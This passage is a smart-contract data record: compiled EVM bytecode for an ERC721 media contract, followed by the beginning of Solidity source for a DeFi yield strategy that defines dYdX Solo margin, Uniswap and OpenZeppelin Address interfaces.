1526004016108589061431e565b6002600a55611b6081610831565b6001600160a01b0316336001600160a01b031614611b905760405162461bcd60e51b815260040161085890613c17565b611b9b600082612086565b506001600a55565b600b546001600160a01b031681565b6002600a541415611bd55760405162461bcd60e51b81526004016108589061431e565b6002600a558080611be6601a6121ba565b11611c035760405162461bcd60e51b81526004016108589061399c565b60105460405163776a083560e01b81526001600160a01b039091169063776a083590611c35908590339060040161439b565b600060405180830381600087803b158015611c4f57600080fd5b505af1158015611c63573d6000803e3d6000fd5b50506001600a5550505050565b6001600160a01b03166000908152600c602052604090205460ff1690565b611c9f611c99612082565b836122d7565b611cbb5760405162461bcd60e51b815260040161085890614228565b610c438484848461276d565b600c6020526000908152604090205460ff1681565b6002600a541415611cff5760405162461bcd60e51b81526004016108589061431e565b6002600a553382611d1082826122d7565b611d2c5760405162461bcd60e51b81526004016108589061402c565b60105460405163ba33939960e01b81526001600160a01b039091169063ba339399906112699087908790600401614400565b60608180611d6c601a6121ba565b11611d895760405162461bcd60e51b81526004016108589061399c565b60008381526008602090815260409182902080548351601f6002600019610100600186161502019093169290920491820184900484028101840190945280845260609392830182828015611e1e5780601f10611df357610100808354040283529160200191611e1e565b820191906000526020600020905b815481529060010190602001808311611e0157829003601f168201915b509398975050505050505050565b611e34611879565b611e505760405162461bcd60e51b815260040161085890613957565b6001600160a01b038116611e765760405162461bcd60e51b815260040161085890613be7565b6001600160a01b0381166000818152600d6020526040808220805460ff19166001179055517fa6f04ef390ee5829dc9be99664fd8d9aeea059278dbda4f988499726455801ce9190a250565b6060600e80548060200260200160405190810160405280929190818152602001828054801561082757602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611efc575050505050905090565b7f2952e482b8e2b192305f87374d7af45dc2eafafe4f50d26a0c02e90f2fdbe14b81565b6012602052600090815260409020546001600160a01b031681565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b611f98611879565b611fb45760405162461bcd60e51b815260040161085890613957565b611fbd816127a0565b50565b6010546001600160a01b03163314611fea5760405162461bcd60e51b815260040161085890613f28565b611ff3826112a6565b600083815260116020526040902080546001600160a01b0319166001600160a01b039290921691909117905561204261202b836112a6565b82846040518060200160405280600081525061276d565b5050565b601860209081526000928352604080842090915290825290205481565b60146020526000908152604090205481565b6000611036600283612822565b3390565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906120bb826112a6565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60408051808201825260048152634172746f60e01b6020918201528151808301835260018152603160f81b908201529051600091469161219e917f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f917f64e5e55c6a2790759ed01c581dcc6ee14925b98404a095158e9a67c6cf3fd21f917fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6918691309101613890565b6040516020818303038152906040528051906020012091505090565b5490565b826001600160a01b03166121d1826112a6565b6001600160a01b0316146121f75760405162461bcd60e51b8152600401610858906140a5565b6001600160a01b03821661221d5760405162461bcd60e51b815260040161085890613c59565b612228838383610910565b612233600082612086565b6001600160a01b0383166000908152600160205260409020612255908261282e565b506001600160a01b0382166000908152600160205260409020612278908261283a565b5061228560028284612846565b5080826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000611036826121ba565b60006122e282612075565b6122fe5760405162461bcd60e51b815260040161085890613d67565b6000612309836112a6565b9050806001600160a01b0316846001600160a01b031614806123445750836001600160a01b031661233984610831565b6001600160a01b0316145b8061235457506123548185611f62565b949350505050565b61236582612075565b6123815760405162461bcd60e51b815260040161085890613fe0565b600082815260086020908152604090912082516109109284019061300c565b6010546040516328220f3560e01b81526001600160a01b03909116906328220f35906123d090849060040161385b565b600060405180830381600087803b1580156123ea57600080fd5b505af11580156123fe573d6000803e3d6000fd5b505050506109108383836121be565b8151805161242d5760405162461bcd60e51b815260040161085890614355565b602083015180516124505760405162461bcd60e51b815260040161085890614355565b60408401516124715760405162461bcd60e51b815260040161085890613d23565b60408085015160009081526017602052205460ff16156124a35760405162461bcd60e51b815260040161085890613e89565b60608401516124c45760405162461bcd60e51b815260040161085890614140565b60006124d0601a6121ba565b90506124dc868261285c565b6124e6601a612876565b6124f481866040015161287f565b6125028186606001516128b8565b612510818660200151612728565b61251e81866000015161235c565b6001600160a01b0386166000908152601360205260409020612540908261283a565b50604080860151600090815260176020908152828220805460ff191660011790558382526012815282822080546001600160a01b03808c166001600160a01b0319928316811790935560119093529284902080549093161790915560105491516375aab41d60e11b815291169063eb55683a906125c390849088906004016143d6565b600060405180830381600087803b1580156125dd57600080fd5b505af11580156125f1573d6000803e3d6000fd5b50505050505050505050565b600061103383836128f1565b60008181526008602090815260409182902080548351601f600260001961010060018616150201909316929092049182018490048402810184019094528084526060939283018282801561269e5780601f106126735761010080835404028352916020019161269e565b820191906000526020600020905b81548152906001019060200180831161268157829003601f168201915b505050505090506126ae82612936565b8051156126d657600082815260086020908152604090912082516126d49284019061300c565b505b50600090815260116020526040902080546001600160a01b0319169055565b60008080806127048686612a03565b9097909650945050505050565b600061271e848484612a5f565b90505b9392505050565b8161273281612075565b61274e5760405162461bcd60e51b8152600401610858906142e7565b60008381526016602090815260409091208351610c439285019061300c565b6127788484846123a0565b61278484848484612abe565b610c435760405162461bcd60e51b815260040161085890613a1b565b6001600160a01b0381166127c65760405162461bcd60e51b815260040161085890613b9c565b600b546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600b80546001600160a01b0319166001600160a01b0392909216919091179055565b60006110338383612b9d565b60006110338383612bb5565b60006110338383612c7b565b600061271e84846001600160a01b038516612cc5565b612042828260405180602001604052806000815250612d5c565b80546001019055565b8161288981612075565b6128a55760405162461bcd60e51b8152600401610858906142e7565b5060009182526014602052604090912055565b816128c281612075565b6128de5760405162461bcd60e51b8152600401610858906142e7565b5060009182526015602052604090912055565b815460009082106129145760405162461bcd60e51b815260040161085890613915565b82600001828154811061292357fe5b9060005260206000200154905092915050565b6000612941826112a6565b905061294f81600084610910565b61295a600083612086565b60008281526008602052604090205460026000196101006001841615020190911604156129985760008281526008602052604081206129989161308a565b6001600160a01b03811660009081526001602052604090206129ba908361282e565b506129c6600283612d8f565b5060405182906000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b815460009081908310612a285760405162461bcd60e51b815260040161085890613ee6565b6000846000018481548110612a3957fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b60008281526001840160205260408120548281612a8f5760405162461bcd60e51b81526004016108589190613902565b50846000016001820381548110612aa257fe5b9060005260206000209060020201600101549150509392505050565b6000612ad2846001600160a01b0316612d9b565b612ade57506001612354565b6060612b66630a85bd0160e11b612af3612082565b888787604051602401612b099493929190613786565b604051602081830303815290604052906001600160e01b0319166020820180516001600160e01b0383818316178352505050506040518060600160405280603281526020016144c0603291396001600160a01b0388169190612da1565b9050600081806020019051810190612b7e91906134d8565b6001600160e01b031916630a85bd0160e11b1492505050949350505050565b60009081526001919091016020526040902054151590565b60008181526001830160205260408120548015612c715783546000198083019190810190600090879083908110612be857fe5b9060005260206000200154905080876000018481548110612c0557fe5b600091825260208083209091019290925582815260018981019092526040902090840190558654879080612c3557fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611036565b6000915050611036565b6000612c878383612b9d565b612cbd57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155611036565b506000611036565b600082815260018401602052604081205480612d2a575050604080518082018252838152602080820184815286546001818101895560008981528481209551600290930290950191825591519082015586548684528188019092529290912055612721565b82856000016001830381548110612d3d57fe5b9060005260206000209060020201600101819055506000915050612721565b612d668383612db0565b612d736000848484612abe565b6109105760405162461bcd60e51b815260040161085890613a1b565b60006110338383612e74565b3b151590565b606061271e8484600085612f48565b6001600160a01b038216612dd65760405162461bcd60e51b815260040161085890613f5f565b612ddf81612075565b15612dfc5760405162461bcd60e51b815260040161085890613b24565b612e0860008383610910565b6001600160a01b0382166000908152600160205260409020612e2a908261283a565b50612e3760028284612846565b5060405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60008181526001830160205260408120548015612c715783546000198083019190810190600090879083908110612ea757fe5b9060005260206000209060020201905080876000018481548110612ec757fe5b600091825260208083208454600290930201918255600193840154918401919091558354825289830190526040902090840190558654879080612f0657fe5b60008281526020808220600260001990940193840201828155600190810183905592909355888152898201909252604082209190915594506110369350505050565b6060612f5385612d9b565b612f6f5760405162461bcd60e51b815260040161085890614279565b60006060866001600160a01b03168587604051612f8c919061373b565b60006040518083038185875af1925050503d8060008114612fc9576040519150601f19603f3d011682016040523d82523d6000602084013e612fce565b606091505b50915091508115612fe25791506123549050565b805115612ff25780518082602001fd5b8360405162461bcd60e51b81526004016108589190613902565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061304d57805160ff191683800117855561307a565b8280016001018555821561307a579182015b8281111561307a57825182559160200191906001019061305f565b506130869291506130ca565b5090565b50805460018160011615610100020316600290046000825580601f106130b05750611fbd565b601f016020900490600052602060002090810190611fbd91905b5b8082111561308657600081556001016130cb565b80356001600160a01b038116811461103657600080fd5b600082601f830112613106578081fd5b813567ffffffffffffffff81111561311c578182fd5b61312f601f8201601f1916602001614441565b915080825283602082850101111561314657600080fd5b8060208401602084013760009082016020015292915050565b600060608284031215613170578081fd5b61317a6060614441565b905061318683836131b2565b815261319583602084016131b2565b60208201526131a783604084016131b2565b604082015292915050565b6000602082840312156131c3578081fd5b6131cd6020614441565b9135825250919050565b6000608082840312156131e8578081fd5b6131f26080614441565b905081358152602082013560ff8116811461320c57600080fd5b80602083015250604082013560408201526060820135606082015292915050565b60006080828403121561323e578081fd5b6132486080614441565b9050813567ffffffffffffffff8082111561326257600080fd5b61326e858386016130f6565b8352602084013591508082111561328457600080fd5b50613291848285016130f6565b602083015250604082013560408201526060820135606082015292915050565b6000602082840312156132c2578081fd5b61103383836130df565b600080604083850312156132de578081fd5b6132e884846130df565b91506132f784602085016130df565b90509250929050565b600080600060608486031215613314578081fd5b833561331f81614494565b9250602084013561332f81614494565b929592945050506040919091013590565b60008060008060808587031215613355578081fd5b61335f86866130df565b935061336e86602087016130df565b925060408501359150606085013567ffffffffffffffff811115613390578182fd5b61339c878288016130f6565b91505092959194509250565b600080604083850312156133ba578182fd5b6133c484846130df565b9150602083013580151581146133d8578182fd5b809150509250929050565b60008060008061012085870312156133f9578081fd5b61340386866130df565b9350602085013567ffffffffffffffff81111561341e578182fd5b61342a8782880161322d565b93505061343a866040870161315f565b91506134498660a087016131d7565b905092959194509250565b60008060408385031215613466578182fd5b61347084846130df565b946020939093013593505050565b600080600060c08486031215613492578081fd5b833561349d81614494565b9250602084013591506134b385604086016131d7565b90509250925092565b6000602082840312156134cd578081fd5b8135612721816144a9565b6000602082840312156134e9578081fd5b8151612721816144a9565b60008060808385031215613506578182fd5b823567ffffffffffffffff81111561351c578283fd5b6135288582860161322d565b9250506132f7846020850161315f565b600060208284031215613549578081fd5b5035919050565b60008060408385031215613562578182fd5b823591506132f784602085016130df565b600080600060408486031215613587578081fd5b83359250602084013567ffffffffffffffff808211156135a5578283fd5b818601915086601f8301126135b8578283fd5b8135818111156135c6578384fd5b8760208285010111156135d7578384fd5b6020830194508093505050509250925092565b60008082840360608112156135fd578283fd5b833592506040601f1982011215613612578182fd5b5061361d6040614441565b6020840135815261363185604086016130df565b6020820152809150509250929050565b60008082840360c0811215613654578283fd5b8335925060a0601f1982011215613669578182fd5b5061367460a0614441565b6020840135815261368885604086016130df565b602082015261369a85606086016130df565b60408201526136ac85608086016130df565b60608201526136be8560a086016131b2565b6080820152809150509250929050565b600081518084526136e6816020860160208601614468565b601f01601f19169290920160200192915050565b805182526020808201516001600160a01b03908116918401919091526040808301518216908401526060808301519091169083015260809081015151910152565b6000825161374d818460208701614468565b9190910192915050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906137b9908301846136ce565b9695505050505050565b6001600160a01b03841681526040602082018190528101829052600082846060840137818301606090810191909152601f909201601f1916010192915050565b6020808252825182820181905260009190848201906040850190845b818110156138445783516001600160a01b03168352928401929184019160010161381f565b50909695505050505050565b901515815260200190565b90815260200190565b9485526001600160a01b0393909316602085015260408401919091526060830152608082015260a00190565b9485526020850193909352604084019190915260608301526001600160a01b0316608082015260a00190565b958652602086019490945260408501929092526060840152608083015260a082015260c00190565b93845260ff9290921660208401526040830152606082015260800190565b60006020825261103360208301846136ce565b60208082526022908201527f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e604082015261647360f01b606082015260800190565b60208082526025908201527f4f776e61626c653a2063616c6c6572206973206e6f742074686520537570657260408201526420b236b4b760d91b606082015260800190565b60208082526028908201527f4d656469613a20746f6b656e2077697468207468617420696420646f6573206e6040820152671bdd08195e1a5cdd60c21b606082015260800190565b60208082526019908201527f6e6f7420612076616c6964206f776e6572206164647265737300000000000000604082015260600190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526033908201527f417574686f72697a61626c653a2063616c6c6572206973206e6f74207468652060408201527229bab832b920b236b4b71037b91020b236b4b760691b606082015260800190565b6020808252601c908201527f4d656469613a207370656e6465722063616e6e6f742062652030783000000000604082015260600190565b6020808252601390820152726e6f7420612076616c6964206164647265737360681b604082015260600190565b6020808252601c908201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604082015260600190565b60208082526021908201527f4d61726b65743a20426964646572206d757374206265206d73672073656e64656040820152603960f91b606082015260800190565b6020808252602b908201527f4f776e61626c653a206e657720537570657241646d696e20697320746865207a60408201526a65726f206164647265737360a81b606082015260800190565b6020808252601690820152756973206e6f742061207661696c64206164647265737360501b604082015260600190565b60208082526022908201527f4d656469613a2063616c6c6572206e6f7420617070726f766564206164647265604082015261737360f01b606082015260800190565b60208082526024908201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526019908201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604082015260600190565b6020808252602f908201527f4d656469613a20746f6b656e20646f6573206e6f74206861766520686173682060408201526e6f6620697473206d6574616461746160881b606082015260800190565b60208082526024908201527f4d656469613a20636f6e74656e742068617368206d757374206265206e6f6e2d6040820152637a65726f60e01b606082015260800190565b6020808252602c908201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b60208082526038908201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760408201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606082015260800190565b6020808252602a908201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604082015269726f206164647265737360b01b606082015260800190565b6020808252601590820152741359591a584e8814195c9b5a5d08195e1c1a5c9959605a1b604082015260600190565b6020808252603e908201527f4d656469613a206120746f6b656e2068617320616c7265616479206265656e2060408201527f637265617465642077697468207468697320636f6e74656e7420686173680000606082015260800190565b60208082526022908201527f456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e604082015261647360f01b606082015260800190565b6020808252601b908201527f4d656469613a206f6e6c79206d61726b657420636f6e74726163740000000000604082015260600190565b6020808252818101527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604082015260600190565b6020808252602c908201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b6020808252602c908201527f4552433732314d657461646174613a2055524920736574206f66206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b6020808252601d908201527f4d656469613a204f6e6c7920617070726f766564206f72206f776e6572000000604082015260600190565b60208082526022908201527f417574686f72697a61626c653a4f6e6c7920617574686f72697a6564206f776e60408201526132b960f11b606082015260800190565b60208082526029908201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960408201526839903737ba1037bbb760b91b606082015260800190565b60208082526032908201527f4d656469613a20746f6b656e20646f6573206e6f7420686176652068617368206040820152711bd98818dc99585d19590818dbdb9d195b9d60721b606082015260800190565b60208082526025908201527f4d656469613a206d657461646174612068617368206d757374206265206e6f6e6040820152642d7a65726f60d81b606082015260800190565b60208082526021908201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656040820152603960f91b606082015260800190565b6020808252601190820152700dcdee840c240ecc2d8d2c840d2dcc8caf607b1b604082015260600190565b6020808252601a908201527f4d656469613a206d696e74576974685369672065787069726564000000000000604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b60208082526018908201527f4d656469613a205369676e617475726520696e76616c69640000000000000000604082015260600190565b60208082526018908201527f4d656469613a206e6f6e6578697374656e7420746f6b656e0000000000000000604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b60208082526026908201527f4d656469613a2073706563696669656420757269206d757374206265206e6f6e6040820152652d656d70747960d01b606082015260800190565b9182526001600160a01b0316602082015260400190565b918252805160208084019190915201516001600160a01b0316604082015260600190565b91825280515160208084019190915281015151604080840191909152015151606082015260800190565b82815260c0810161272160208301846136fa565b83815260e0810161442860208301856136fa565b6001600160a01b039290921660c0919091015292915050565b60405181810167ffffffffffffffff8111828210171561446057600080fd5b604052919050565b60005b8381101561448357818101518382015260200161446b565b83811115610c435750506000910152565b6001600160a01b0381168114611fbd57600080fd5b6001600160e01b031981168114611fbd57600080fdfe4552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656ea26469706673582212203f49cdfbced025dd615fc21625c8ca5d4c7978f7ae78e70d36498689bf44dd0464736f6c634300060c0033
[ 13, 5 ]
0xf2e9e8eae24dea1a5d40f3a105677af1797a47d3
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // Global Enums and Structs struct StrategyParams { uint256 performanceFee; uint256 activation; uint256 debtRatio; uint256 minDebtPerHarvest; uint256 maxDebtPerHarvest; uint256 lastReport; uint256 totalDebt; uint256 totalGain; uint256 totalLoss; } // Part: Account library Account { enum Status {Normal, Liquid, Vapor} struct Info { address owner; // The address that owns the account uint256 number; // A nonce that allows a single address to control many accounts } struct Storage { mapping(uint256 => Types.Par) balances; // Mapping from marketId to principal Status status; } } // Part: Actions library Actions { enum ActionType { Deposit, // supply tokens Withdraw, // borrow tokens Transfer, // transfer balance between accounts Buy, // buy an amount of some token (publicly) Sell, // sell an amount of some token (publicly) Trade, // trade tokens against another account Liquidate, // liquidate an undercollateralized or expiring account Vaporize, // use excess tokens to zero-out a completely negative account Call // send arbitrary data to an address } enum AccountLayout {OnePrimary, TwoPrimary, PrimaryAndSecondary} enum MarketLayout {ZeroMarkets, OneMarket, TwoMarkets} struct ActionArgs { ActionType actionType; uint256 accountId; Types.AssetAmount amount; uint256 primaryMarketId; uint256 secondaryMarketId; address otherAddress; uint256 otherAccountId; bytes data; } struct DepositArgs { Types.AssetAmount amount; Account.Info account; uint256 market; address from; } struct WithdrawArgs { Types.AssetAmount amount; Account.Info account; uint256 market; address to; } struct TransferArgs { Types.AssetAmount amount; Account.Info accountOne; Account.Info accountTwo; uint256 market; } struct BuyArgs { Types.AssetAmount amount; Account.Info account; uint256 makerMarket; uint256 takerMarket; address exchangeWrapper; bytes orderData; } struct SellArgs { Types.AssetAmount amount; Account.Info account; uint256 takerMarket; uint256 makerMarket; address exchangeWrapper; bytes orderData; } struct TradeArgs { Types.AssetAmount amount; Account.Info takerAccount; Account.Info makerAccount; uint256 inputMarket; uint256 outputMarket; address autoTrader; bytes tradeData; } struct LiquidateArgs { Types.AssetAmount amount; Account.Info solidAccount; Account.Info liquidAccount; uint256 owedMarket; uint256 heldMarket; } struct VaporizeArgs { Types.AssetAmount amount; Account.Info solidAccount; Account.Info vaporAccount; uint256 owedMarket; uint256 heldMarket; } struct CallArgs { Account.Info account; address callee; bytes data; } } // Part: ICallee /** * @title ICallee * @author dYdX * * Interface that Callees for Solo must implement in order to ingest data. */ interface ICallee { // ============ Public Functions ============ /** * Allows users to send this contract arbitrary data. * * @param sender The msg.sender to Solo * @param accountInfo The account from which the data is being sent * @param data Arbitrary data given by the sender */ function callFunction( address sender, Account.Info memory accountInfo, bytes memory data ) external; } library Decimal { struct D256 { uint256 value; } } library Interest { struct Rate { uint256 value; } struct Index { uint96 borrow; uint96 supply; uint32 lastUpdate; } } library Monetary { struct Price { uint256 value; } struct Value { uint256 value; } } library Storage { // All information necessary for tracking a market struct Market { // Contract address of the associated ERC20 token address token; // Total aggregated supply and borrow amount of the entire market Types.TotalPar totalPar; // Interest index of the market Interest.Index index; // Contract address of the price oracle for this market address priceOracle; // Contract address of the interest setter for this market address interestSetter; // Multiplier on the marginRatio for this market Decimal.D256 marginPremium; // Multiplier on the liquidationSpread for this market Decimal.D256 spreadPremium; // Whether additional borrows are allowed for this market bool isClosing; } // The global risk parameters that govern the health and security of the system struct RiskParams { // Required ratio of over-collateralization Decimal.D256 marginRatio; // Percentage penalty incurred by liquidated accounts Decimal.D256 liquidationSpread; // Percentage of the borrower's interest fee that gets passed to the suppliers Decimal.D256 earningsRate; // The minimum absolute borrow value of an account // There must be sufficient incentivize to liquidate undercollateralized accounts Monetary.Value minBorrowedValue; } // The maximum RiskParam values that can be set struct RiskLimits { uint64 marginRatioMax; uint64 liquidationSpreadMax; uint64 earningsRateMax; uint64 marginPremiumMax; uint64 spreadPremiumMax; uint128 minBorrowedValueMax; } // The entire storage state of Solo struct State { // number of markets uint256 numMarkets; // marketId => Market mapping(uint256 => Market) markets; // owner => account number => Account mapping(address => mapping(uint256 => Account.Storage)) accounts; // Addresses that can control other users accounts mapping(address => mapping(address => bool)) operators; // Addresses that can control all users accounts mapping(address => bool) globalOperators; // mutable risk parameters of the system RiskParams riskParams; // immutable risk limits of the system RiskLimits riskLimits; } } library Types { enum AssetDenomination { Wei, // the amount is denominated in wei Par // the amount is denominated in par } enum AssetReference { Delta, // the amount is given as a delta from the current value Target // the amount is given as an exact number to end up at } struct AssetAmount { bool sign; // true if positive AssetDenomination denomination; AssetReference ref; uint256 value; } struct TotalPar { uint128 borrow; uint128 supply; } struct Par { bool sign; // true if positive uint128 value; } struct Wei { bool sign; // true if positive uint256 value; } } // Part: ISoloMargin interface ISoloMargin { struct OperatorArg { address operator1; bool trusted; } function ownerSetSpreadPremium(uint256 marketId, Decimal.D256 memory spreadPremium) external; function getIsGlobalOperator(address operator1) external view returns (bool); function getMarketTokenAddress(uint256 marketId) external view returns (address); function ownerSetInterestSetter(uint256 marketId, address interestSetter) external; function getAccountValues(Account.Info memory account) external view returns (Monetary.Value memory, Monetary.Value memory); function getMarketPriceOracle(uint256 marketId) external view returns (address); function getMarketInterestSetter(uint256 marketId) external view returns (address); function getMarketSpreadPremium(uint256 marketId) external view returns (Decimal.D256 memory); function getNumMarkets() external view returns (uint256); function ownerWithdrawUnsupportedTokens(address token, address recipient) external returns (uint256); function ownerSetMinBorrowedValue(Monetary.Value memory minBorrowedValue) external; function ownerSetLiquidationSpread(Decimal.D256 memory spread) external; function ownerSetEarningsRate(Decimal.D256 memory earningsRate) external; function getIsLocalOperator(address owner, address operator1) external view returns (bool); function getAccountPar(Account.Info memory account, uint256 marketId) external view returns (Types.Par memory); function ownerSetMarginPremium(uint256 marketId, Decimal.D256 memory marginPremium) external; function getMarginRatio() external view returns (Decimal.D256 memory); function getMarketCurrentIndex(uint256 marketId) external view returns (Interest.Index memory); function getMarketIsClosing(uint256 marketId) external view returns (bool); function getRiskParams() external view returns (Storage.RiskParams memory); function getAccountBalances(Account.Info memory account) external view returns ( address[] memory, Types.Par[] memory, Types.Wei[] memory ); function renounceOwnership() external; function getMinBorrowedValue() external view returns (Monetary.Value memory); function setOperators(OperatorArg[] memory args) external; function getMarketPrice(uint256 marketId) external view returns (address); function owner() external view returns (address); function isOwner() external view returns (bool); function ownerWithdrawExcessTokens(uint256 marketId, address recipient) external returns (uint256); function ownerAddMarket( address token, address priceOracle, address interestSetter, Decimal.D256 memory marginPremium, Decimal.D256 memory spreadPremium ) external; function operate(Account.Info[] memory accounts, Actions.ActionArgs[] memory actions) external; function getMarketWithInfo(uint256 marketId) external view returns ( Storage.Market memory, Interest.Index memory, Monetary.Price memory, Interest.Rate memory ); function ownerSetMarginRatio(Decimal.D256 memory ratio) external; function getLiquidationSpread() external view returns (Decimal.D256 memory); function getAccountWei(Account.Info memory account, uint256 marketId) external view returns (Types.Wei memory); function getMarketTotalPar(uint256 marketId) external view returns (Types.TotalPar memory); function getLiquidationSpreadForPair(uint256 heldMarketId, uint256 owedMarketId) external view returns (Decimal.D256 memory); function getNumExcessTokens(uint256 marketId) external view returns (Types.Wei memory); function getMarketCachedIndex(uint256 marketId) external view returns (Interest.Index memory); function getAccountStatus(Account.Info memory account) external view returns (uint8); function getEarningsRate() external view returns (Decimal.D256 memory); function ownerSetPriceOracle(uint256 marketId, address priceOracle) external; function getRiskLimits() external view returns (Storage.RiskLimits memory); function getMarket(uint256 marketId) external view returns (Storage.Market memory); function ownerSetIsClosing(uint256 marketId, bool isClosing) external; function ownerSetGlobalOperator(address operator1, bool approved) external; function transferOwnership(address newOwner) external; function getAdjustedAccountValues(Account.Info memory account) external view returns (Monetary.Value memory, Monetary.Value memory); function getMarketMarginPremium(uint256 marketId) external view returns (Decimal.D256 memory); function getMarketInterestRate(uint256 marketId) external view returns (Interest.Rate memory); } // Part: IUni interface IUni{ function getAmountsOut( uint256 amountIn, address[] calldata path ) external view returns (uint256[] memory amounts); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); } // Part: InterestRateModel interface InterestRateModel { /** * @notice Calculates the current borrow interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @return The borrow rate per block (as a percentage, and scaled by 1e18) */ function getBorrowRate( uint256 cash, uint256 borrows, uint256 reserves ) external view returns (uint256, uint256); /** * @notice Calculates the current supply interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate( uint256 cash, uint256 borrows, uint256 reserves, uint256 reserveFactorMantissa ) external view returns (uint256); } // Part: OpenZeppelin/openzeppelin-contracts@3.1.0/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling 